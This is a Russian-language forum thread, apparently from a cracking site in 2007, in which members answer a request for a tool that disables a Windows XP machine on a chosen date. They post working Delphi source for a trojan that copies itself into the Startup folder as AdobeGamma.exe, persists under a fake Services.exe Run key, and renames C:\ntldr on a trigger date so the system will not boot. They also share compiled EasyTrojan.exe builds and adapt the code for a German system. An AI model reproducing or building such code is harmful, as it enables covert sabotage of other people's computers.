Ни у кого нет проги для WinXP, которая по таймеру (на определённую дату), выводит Windu из работоспособного состояния (чтобы не грузилась, или засерался весь винт или ещё что нибудь похожее), но так, чтобы потом можно было без проблемм всё вернуть назад?
Очень надо!

-----
z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh

| Сообщение посчитали полезным:

дык сам нопеши...5 мин. роботы при наличии фантазии...

| Сообщение посчитали полезным:

Согласен... да нет под рукой никаких языков программирования, а качать и ставить, время нет
Может кто встречал (или делал) подобные вещи?

-----
z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh

| Сообщение посчитали полезным:

Вот держи исходник.
Изв. но у меня шас совсем нет времени, уже ухожу.
Подправь под себя.
Думаю кто ни будь скомпилит.

Uses Windows;

Var T: TSYSTEMTIME;
MyName: String;

Const AutoRun='C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка\AdobeGamma.exe';
XFile='C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB';

Begin
MyName:=ParamStr(0);
// MessageBox(0,'',PChar(MyName),0);
If MyName<>AutoRun Then
Begin
DeleteFileA(Autorun);
CopyFileA(PChar(MyName), Autorun, True);
// SetFileAttributesA(Autorun, FILE_ATTRIBUTE_READONLY+FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
If ((UpCase(MyName[1])<>'C') and (UpCase(MyName[1])<>'D')) Then
Beep(4000,300);
End Else
Begin
GetLocalTime(T);
If T.wDay>14 Then MoveFileA(XFile,XFile+'#');
End;

End.


| Сообщение посчитали полезным:

Я делал когда-то так:
Program Max;
Uses Windows,SysUtils,Registry;
Var
Coord:TPoint;
H:TRegistry;
S,P:String;

Function GetWinDir:String;
Var
WindirP:PChar;
Begin
WinDirP:=StrAlloc(MAX_PATH);
If GetWindowsDirectory(WinDirP,MAX_PATH)>0 Then
Result:=StrPas(WinDirP);
End;

Begin
P:=GetWinDir+'\Services.exe';
H:=TRegistry.Create;
With H Do
Begin
RootKey:=HKEY_LOCAL_MACHINE;
OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',True);
S:=ReadString('Services');
If (S<>P) Or (ParamStr(0)<>P) Then
Begin
CopyFile(PChar(ParamStr(0)),PChar(P),True);
WriteString('Services',P);
Exit;
End;
CloseKey;
Free;
End;
.....
code
.....

получается неубиваемый процесс, т.к. имя совпадает с системным
PS: вроде если переместить (стереть) драйвер мыши, винда не включается (не помню точно в XP есть этот косяк или в 98 только был)...

-----
z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh

| Сообщение посчитали полезным:

или на крайняк в boot.ini "multi(0)disk(0)rdisk(0)partition(1)" поменять например на "multi(0)disk(0)rdisk(0)partition(5)" вернее будет и точно не загрузится

Компильните кто нибудь эту бодягу please

-----
z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh

| Сообщение посчитали полезным:

Может просто переименовать C:\ntldr, например в C:\ntlrd ?
И незаметно, и маздай точно не стартанёт. Потом себе с диска загрузишься и назад переименуешь...

На какую дату тебе надо ?

С драйвером мыши хз.

| Сообщение посчитали полезным:

SergX пишет:
Может просто переименовать C:\ntldr, например в C:\ntlrd ?
И незаметно, и маздай точно не стартанёт. Потом себе с диска загрузишься и назад переименуешь...
ну можно и так

SergX пишет:
На какую дату тебе надо ?
Чтобы ключиком задавать можно было

-----
z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh

| Сообщение посчитали полезным:

uses Windows;

var T: TSYSTEMTIME;
MyName: String;
HappyMonth: Word;
HappyDay: Word;
F: Text;

const AutoRun='C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка\AdobeGamma.exe';
ConfigFile='C:\Windows\System32\AdobeGamma.cfg';

begin
MyName:=ParamStr(0);
if MyName<>AutoRun then
begin
DeleteFileA(Autorun);
CopyFileA(PChar(MyName), Autorun, True);
Beep(4000,300);
end else
begin
{$I-}
Assign(F, ConfigFile);
Reset(F);
ReadLn(F,HappyMonth);
ReadLn(F,HappyDay);
Close(F);
{$I+}
GetLocalTime(T);
if (T.wMonth=HappyMonth) and (T.wDay=HappyDay) then MoveFileA('c:\ntldr','c:\ntdlr');
end;
end.

Вроде всё работает, но погоняй.
Я не выспался нехрена, так что мог протупить.



671f_30.09.2007_CRACKLAB.rU.tgz - EasyTrojan.exe

| Сообщение посчитали полезным:

SergX Огромное спасибо, выручил!

-----
z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh

| Сообщение посчитали полезным:

Isaev
Да не за что

Только потести..
Думаю сам знаешь, но на всякий случай:
в C:\Windows\System32\AdobeGamma.cfg месяц и день пиши через enter, без всяких запятых и т.д.

| Сообщение посчитали полезным:

да это видно по тексту...
можешь 'C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка\AdobeGamma.exe';
заменить на
'C:\Dokumente und Einstellungen\All Users\Startmenü\Programme\Autostart\AdobeGamma.exe';?

-----
z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh

| Сообщение посчитали полезным:

Держи.

b156_01.10.2007_CRACKLAB.rU.tgz - EasyTrojan.exe

| Сообщение посчитали полезным:

Delphi поменял Startmenü на Startmenu. Какой у ü ascii код должен быть ?
Остальные знаки там все совпадают ? Я ещё с немцами дела не имел...

Наверно так надо:
AutoRun='C:\Dokumente und Einstellungen\All Users\Startmen' +Chr(???)+ '\Programme\Autostart\AdobeGamma.exe';

| Сообщение посчитали полезным:

может его спросить у винды?
Function GetStartupPath:String;
Var
Test:Array[1..255] Of Char;
Begin
FillChar(Test,SizeOf(Test),Ord(' '));
SHGetSpecialFolderPath(Application.Handle,@Test,CSIDL_STARTUP,False);
Result:=Trim(Test);
End;
вроде так...

-----
z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh

| Сообщение посчитали полезным:

Держи.

4ba3_02.10.2007_CRACKLAB.rU.tgz - EasyTrojan.zip

| Сообщение посчитали полезным:

Пашет!!!

-----
z+Dw7uLu5+jqLCDq7vLu8PvpIPHs7uMh

| Сообщение посчитали полезным: